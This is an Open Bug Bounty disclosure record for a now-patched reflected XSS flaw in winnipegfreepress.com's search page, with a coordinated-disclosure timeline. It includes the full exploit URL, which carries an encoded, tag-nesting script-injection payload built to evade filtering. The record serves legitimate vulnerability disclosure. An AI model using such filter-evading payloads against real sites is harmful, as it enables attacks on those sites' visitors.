winnipegfreepress.com XSS vulnerability

2016-11-01T18:27:00
ID OBB:190448
Type openbugbounty
Reporter Zigo
Modified 2017-07-28T12:24:00

Description

Vulnerable URL:
http://www.winnipegfreepress.com/search/?keywords=abcdef%3C%3Ca%3Cb%3Escript%3Ci%3E%3Ealert%28/OPENBUGBOUNTY/%29%3C%3Ca%3Cb%3E/script%3E&searchSubmitted;=y&sortBy;=-startDate
Details:

Description| Value
---|---
Patched:| Yes, at 28.07.2017
Latest check for patch:| 28.07.2017 12:24 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 47162
VIP website status:| Yes
Check winnipegfreepress.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 1 November, 2016 18:27 GMT
Generic security notifications sent to website owner| 1 November, 2016 18:30 GMT
Notification sent to subscribers (without technical details)| 1 November, 2016 22:17 GMT
Vulnerability details disclosed by researcher| 24 January, 2017 19:17 GMT
Vulnerability patched by the website owner| 28 July, 2017 12:24 GMT